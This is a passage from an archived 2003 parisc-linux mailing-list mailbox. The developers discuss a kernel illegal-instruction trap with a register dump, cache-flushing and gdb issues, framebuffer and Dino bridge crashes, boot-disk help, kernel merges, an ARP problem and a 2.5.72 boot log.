X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18717

Today, expect dumped core during the running of the GCC testsuite.  The
debug listing is as follows:

Jun 20 10:03:41 gsyprf11 kernel: expect (pid 27377): Illegal instruction (code 8)
Jun 20 10:03:41 gsyprf11 kernel: 
Jun 20 10:03:41 gsyprf11 kernel:      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
Jun 20 10:03:41 gsyprf11 kernel: PSW: 00000000000001101111111100001111 Not tainted
Jun 20 10:03:41 gsyprf11 kernel: r00-03  0000000000000000 0000000040065120 000000004003bb47 0000000000000066
Jun 20 10:03:41 gsyprf11 kernel: r04-07  0000000000000066 000000000023a050 0000000040066120 000000000000012c
Jun 20 10:03:41 gsyprf11 kernel: r08-11  00000000000225d0 000000000000012c 0000000040067a0c 0000000040067a0c
Jun 20 10:03:41 gsyprf11 kernel: r12-15  0000000000211890 0000000000000001 0000000040050ba8 000000000000012c
Jun 20 10:03:41 gsyprf11 kernel: r16-19  00000000000225d0 0000000000000000 0000000000000001 0000000040066120
Jun 20 10:03:41 gsyprf11 kernel: r20-23  0000000000000000 0000000040041f14 000000004004caa8 0000000000000000
Jun 20 10:03:41 gsyprf11 kernel: r24-27  0000000000000000 00000000002ce740 000000000023a050 0000000000020e0c
Jun 20 10:03:41 gsyprf11 kernel: r28-31  00000000002ce740 0000000000000000 00000000faf06880 00000000400c5e03
Jun 20 10:03:41 gsyprf11 kernel: sr0-3   0000000000000300 0000000000000300 0000000000000000 0000000000000300
Jun 20 10:03:41 gsyprf11 kernel: sr4-7   0000000000000300 0000000000000300 0000000000000300 0000000000000300
Jun 20 10:03:41 gsyprf11 kernel: 
Jun 20 10:03:41 gsyprf11 kernel: IASQ: 0000000000000300 0000000000000300 IAOQ: 0000000040041f17 0000000040041f1b
Jun 20 10:03:41 gsyprf11 kernel:  IIR: 0015e398    ISR: 0000000010240080  IOR: 0000006d5ab068a0
Jun 20 10:03:41 gsyprf11 kernel:  CPU:        0   CR30: 000000002e9a0000 CR31: 00000000104f8000
Jun 20 10:03:41 gsyprf11 kernel:  ORIG_R28: 0000000000000000

Looking at the core dump, I noted that the insn at 0x40041f14 was
stw rp,-14(sr0,sp).  This is doesn't agree with the IIR value shown above.
It is supposed to contain the trapping instruction when an illegal instruction
trap occurs (type 8).  I'm not sure how this can happen.  The register
values recorded in the core dump are consistent with those above,
including IIR.  The trap occured on the first instruction of a function.

I have also noted that gdb isn't able to `step' into functions.  Also,
breakpoints don't always take until a program is restarted.  Richard
Hirst did a flush_icache_page patch to fix this problem about a year
ago.

Richard Hirst <rhirst@linuxcare.com> wrote on 29 May 2002:
>  gdb has a problem in that it often doesn't stop the target program
>  when you do a 'step' or 'next'.  This is because it plants breakpoints,
>  but those breakpoints sit in the data cache and don't get flushed
>  through to be visible as code in time.  We need a flush_icache_page()
>  implementation to fix this; the following adds that and
>  flush_icache_range() also.  It does fix gdb for me on my a500.

I am currently seeing these problems on gsyprf11.external.hp.com
which is a 9000/800/A500-6X (PA8700 (PCX-W2)).  The system is
2.4.20-pa31.

Possibly, there is a problem with cache flushing in both cases.  Thoughts?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video
 card]
Date: Sat, 21 Jun 2003 14:24:41 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <3EF46AA9.7040703__26539.6930314184$1416622530$gmane$org@tiscali.be>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions> <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be> <20030615161948.GA12995@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622530 26919 80.91.229.3 (22 Nov 2014 02:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>,
	debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 21 08:09:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3703482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Jun 2003 08:09:58 -0600 (MDT)
Original-Received: from [62.235.172.175] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19Tj3w-0005Bi-00; Sat, 21 Jun 2003 16:09:53 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030618 Debian/1.3.1-3
X-Accept-Language: en
In-Reply-To: <20030615161948.GA12995@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18718

Hi Grant,

Grant Grundler wrote:

>On Sun, Jun 15, 2003 at 04:11:46PM +0000, Joel Soete wrote:
>  
>
>>I tried to use a "PGX64 alias Rage xl " pluged in the first slot of my 
>>b180L. It seems to be well supported by kernel 2.4.21 (modeprobe 
>>ati128fb; # modules were well loaded).
>>    
>>
>
>cool - that's a good first step. I don't know where to go from there.
>  
>
Hmm in fact I obtain better results with atyfb + "Mach64 CT/VT/GT/LT 
(incl. 3D RAGE) support (NEW)";
this time I obtain such message for kernel advising me that 'atyfb' 
modules is loaded and some other info collected from the device itself.

>>But no success to make XFree86 
>>works (fbset /dev/fb0 not found)
>>    
>>
I also reach to get (not yet changing) default setup with "fbset -fb 
/dev/fb1" :-)
But not yet find the way to setup X using /dev/fb1 in place of fb0 ;-( ?

Let see later because my very problem is there:
a) if I rmmod atyfb the system crashes
b) if I do not include "Generic sti fb" in the config of my kernel, when 
I insmod atyfb the system crashes also
c) if I try to use Equinox serial mux (8P) (an oem HP product) module 
(with our without your patch Grant) the system crashes also?

The system is a B180 model using Dino GSCPCI bridge and in the two cases 
(even if messages are a bit different) the TOC shows always a pb on this 
bus (the analyse of toc after the crash of insmod eqnx point out a pb in 
timer_? routine). And in fact I figure out that I never have to use this 
bridge for another card?
Is somebody else used it successfuly or could it be broken?

Thanks again for any help,
    Joel




From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nagy Istvan <nistvan_ro@easynet.ro>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] help on hp720/60
Date: Sat, 21 Jun 2003 17:39:30 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <000c01c3380b$4f400fe0$71c6a182@stm.tudelft.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0009_01C3381C.11CD1AC0"
X-Trace: ger.gmane.org 1416622530 26924 80.91.229.3 (22 Nov 2014 02:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:30 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 21 09:39:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.idilis.net (mail.idilis.net [217.156.85.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8CD42483A
	for <parisc-linux@parisc-linux.org>; Sat, 21 Jun 2003 09:39:35 -0600 (MDT)
Original-Received: from dct8113.dct.tudelft.nl ([130.161.198.113] helo=dutsp351) by mail.idilis.net; Sat, 21 Jun 2003 18:39:33 +0300
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18719

This is a multi-part message in MIME format.

------=_NextPart_000_0009_01C3381C.11CD1AC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hello.
I have a hp720/60 system. I want to install PA/Linux on it. My problem =
is that I don't have a CDrom drive. How can I make a boot-disk to be =
able to get my machine running. From where can I download a boot disk =
image?

Thanx

------=_NextPart_000_0009_01C3381C.11CD1AC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>hello.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I have a hp720/60 system. I want to =
install=20
PA/Linux on it. My problem is that I don't have a CDrom drive. How can I =
make a=20
boot-disk to be able to get my machine running. From where can I =
download a boot=20
disk image?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanx</FONT></DIV></BODY></HTML>

------=_NextPart_000_0009_01C3381C.11CD1AC0--



From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.22-pre1 is already out [was: Re: 2.4.21]
Date: Sat, 21 Jun 2003 22:57:51 +0000
Lines: 38
Approved: news@gmane.org
Message-ID: <3EF4E2EF.5030306@tiscali.be>
References: <20030613154951.GA30843@parcelfarce.linux.theplanet.co.uk> <20030614234039.GB5805@riverrock.org> <20030615004130.GL30843@parcelfarce.linux.theplanet.co.uk> <3EEC9703.5060108@tiscali.be> <20030615154432.GO30843@parcelfarce.linux.theplanet.co.uk> <3EEC9CEE.3070702@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622530 26930 80.91.229.3 (22 Nov 2014 02:15:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:30 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Paul Bame <bame@riverrock.org>, parisc-linux@parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 21 16:43:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C0014831
	for <parisc-linux@parisc-linux.org>; Sat, 21 Jun 2003 16:43:09 -0600 (MDT)
Original-Received: from [62.235.175.71] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19Tr4X-0007iy-00; Sun, 22 Jun 2003 00:43:01 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030618 Debian/1.3.1-3
X-Accept-Language: en
In-Reply-To: <3EEC9CEE.3070702@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18720

Hi all,

Sorry to answer to myself.

Joel Soete wrote:

> Matthew Wilcox wrote:
>
>> On Sun, Jun 15, 2003 at 03:55:47PM +0000, Joel Soete wrote:
>>  
>>
>>> Even though merge seems to me easy, if my merge patch (a diff 
>>> between 2.4.21 vanilla and my stuff) would help you, let me know. I 
>>> will so try to prepare it on monday.
>>>   
>>
>>
>> The merge is not the problem; importing the new upstream version into
>> our CVS is the problem.
>>
> I well understand this pb ;-)
> may be opportunity to test svn?

May be not so stupid ;-) finaly: see <http://lwn.net/Articles/36336/> ?

>>
>> Having said that, when we're done, if you want to compare with your 
>> tree,
>> that would be useful.
>
And finaly why not bypass 2.4.21 and jump directly to 2.4.22? would it 
not be easiest for the merge with upstream?

Cheers,
    Joel




From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] help on hp720/60
Date: Sat, 21 Jun 2003 23:11:05 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <3EF4E609.2090701@tiscali.be>
References: <000c01c3380b$4f400fe0$71c6a182@stm.tudelft.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622531 26933 80.91.229.3 (22 Nov 2014 02:15:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Nagy Istvan <nistvan_ro@easynet.ro>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Jun 21 16:56:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89BD94843
	for <parisc-linux@parisc-linux.org>; Sat, 21 Jun 2003 16:56:16 -0600 (MDT)
Original-Received: from [62.235.175.71] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19TrHK-0008LR-00; Sun, 22 Jun 2003 00:56:15 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030618 Debian/1.3.1-3
X-Accept-Language: en
In-Reply-To: <000c01c3380b$4f400fe0$71c6a182@stm.tudelft.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18721

Hi Nagy,

Nagy Istvan wrote:

>hello.
>I have a hp720/60 system. I want to install PA/Linux on it. My problem is that I don't have a CDrom drive. How can I make a boot-disk to be able to get my machine running. From where can I download a boot disk image?
>
>Thanx
>
>  
>
I hope that <http://pateam.esiee.fr/parisc-linux-boot/doc.html> will 
help you.

Joel



From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: baddy@free.fr
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ARP resolution trouble
Date: Sun, 22 Jun 2003 10:17:06 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <yam9303.300.149243336@esteban.rebellion>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622531 26940 80.91.229.3 (22 Nov 2014 02:15:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 22 03:16:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from esteban.rebellion (f04v-7-251.d1.club-internet.fr [212.194.66.251])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAAA4482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Jun 2003 03:16:04 -0600 (MDT)
Original-Received: from x-plorer.rebellion
	([192.168.10.1] helo=rebellion ident=badmax)
	by esteban.rebellion with smtp (Exim 3.36 #1 (Debian))
	id 19U0x6-0001kR-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Jun 2003 11:16:00 +0200
X-Mailer: YAM 2.2 [060] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck  http://www.yam.ch
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18722

Hi,

I've got a B132L+ under 2.4.20-pa23 and I am encountering with ARP 
request/resolution : sometimes my B132 become unreachable from some
machines of my LAN. Every host is concerned and it seems to happen
every times the host is idle on the LAN.

Here is what I saw :

    - the ARP mechanism flush the mac address table of the host (due
    to a timeout because the host was idle). If the host want to reach the
    B132, it has to make an ARP request.

    - this request is not see at all by the B132L which already have the
    mac address of the host in his mac address table (I think it is because
    the B132L keep it from a previous trafic).

    - the host must do a broadcast (a ping broadcast for example) to be
    beeing reachable again from the B132.

    - if I keep a connection open between the host and the B132 (like a
    ssh session for example), this never happen.

Any idea ?




From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Sun, 22 Jun 2003 12:04:28 +0200
Lines: 363
Approved: news@gmane.org
Message-ID: <3EF57F2C.4060509@bluehash.de>
References: <3EEF3C94.3080300@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------040504060700030405030907"
X-Trace: ger.gmane.org 1416622531 26945 80.91.229.3 (22 Nov 2014 02:15:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 22 04:03:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id A4448483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Jun 2003 04:03:34 -0600 (MDT)
Original-Received: (qmail 24598 invoked from network); 22 Jun 2003 10:03:31 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.24.114)
  by mail.medianet-world.de with SMTP; 22 Jun 2003 10:03:31 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <3EEF3C94.3080300@bluehash.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18723

This is a multi-part message in MIME format.
--------------040504060700030405030907
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit

Hi there,

sorry for the delay, but it took some time to get beck to my HP and 
built an new kernel. With disabled HIL-Support I get a working kernel. 
Bootlog is attached. So I would like to say thank you for the great job 
you all do.
I just recognized two failures. One is: "Setting up general console 
font...set_kernel_font: Function not implemented" during an init-script 
and the other is this: "gsckbd_leds: timeout".
If  I can help to test patches to get HIL-Support working let me know.
Greetings,
    Rdiger

--------------040504060700030405030907
Content-Type: text/plain;
 name="gandalf-2.5.72-pa1-3.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="gandalf-2.5.72-pa1-3.log"



----------------------------------------------------------------------------
BootRom Version    1.6  
Memory Size:  128 MB
----------------------------------------------------------------------------




(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.
----------------------------------------------------------------------------
Command                                Description
-------                                -----------
Auto [boot|search] [on|off]            Set/show auto mode
Boot [pri|alt [isl]]                   Boot from primary or alternate path
Boot [scsi|eisa.<slot>[.<addr>]] [isl] Boot from SCSI or EISA
Boot lan[.<addr>] [install] [isl]      Boot from LAN
Chassis [on|off]                       Set/show chassis codes display mode
DefaultSS                              Reboot and set EEPROM to default values
Diagnostic [on|off]                    Set/show diagnostic boot mode
Fastboot [on|off]                      Set/show fast boot mode
Help                                   Show this command menu
Information                            Show system information
LanAddress                             Show LAN station addresses
Monitor [<DEV>[.<type>]]               Set/show graphics monitor type
                                       (<DEV>=graphics|graphics_<1|2>)
Path [pri|alt [<DEV>[.<addr>]]]        Set/show boot source path
                                       (<DEV>=lan|scsi|eisa.<slot>)
Path [console [<DEV>[.<parm>]]]        Set/show boot console path
                                       (<DEV>=<RS232>|<GRAPH>
                                        <RS232>=rs232|rs232_2
                                        <parm>=<baud>.<length>.<parity>
                                        <GRAPH>=graphics|graphics_<1|2>
                                        <parm>=<monitor>)
Path [keyboard [hil|ps2]]              Set/show boot keyboard path
Pim [hpmc|toc|lpmc]                    Show PIM info
Search [ipl] [scsi|eisa]               Show potential boot devices
Search [ipl] [lan [install]]           Show potential boot LAN devices
Secure [on|off]                        Set/show security mode
----------------------------------------------------------------------------
BOOT_ADMIN> bo pri ipl





Attempting to boot.

Loading Initial Program Loader


IPL successfully loaded


Booting
palo ipl 1.2 root@b2000 Tue Jan 14 13:13:07 MST 2003


Partition Start(MB) End(MB) Id Type


1               1      22   f0 Palo


2              23      64   83 ext2


3              65     194   82 swap


4             195    2046   83 ext2



PALO(F0) partition contains:

    0/vmlinux32 3223985 bytes @ 0x48000


Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently used by firmware (serial).Current command line:

2/vmlinux root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102

 0: 2/vmlinux

 1: root=/dev/sda4

 2: HOME=/

 3: devfs=mount

 4: console=ttyS0

 5: TERM=vt102


Edit which field?

(or 'b' to boot with this command line)? 0 b 0

2/vmlinux-2.5.72-pa1

Current command line:

2/vmlinux-2.5.72-pa1 root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102

 0: 2/vmlinux-2.5.72-pa1

 1: root=/dev/sda4

 2: HOME=/

 3: devfs=mount

 4: console=ttyS0

 5: TERM=vt102


Edit which field?

(or 'b' to boot with this command line)? 0b  b


Command line for kernel: 'root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.5.72-pa1'

Selected kernel: /vmlinux-2.5.72-pa1 from partition 2

ELF32 executable

Entry 00100000 first 00100000 n 3

Segment 0 load 00100000 size 2325984 mediaptr 0x1000

Segment 1 load 00338000 size 463048 mediaptr 0x239000

Segment 2 load 003ac000 size 524416 mediaptr 0x2ab000

Branching to kernel entry point 0x00100000.  If this is the last

message you see, you may need to switch your console.  This is

a common symptom -- search the FAQ and mailing list at parisc-linux.org


Linux version 2.5.72-pa1 (ruediger@gandalf) (gcc version 3.0.4) #2 Fri Jun 20 20:56:57 CEST 2003
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 000060b0 00000481 00000000 00000000 77b661a7 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
  DMA zone: 32768 pages, LIFO batch:8
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Building zonelist for node : 0
Kernel command line: root=/dev/sda4 HOME=/ devfs=mount console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.5.72-pa1
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 126144k available
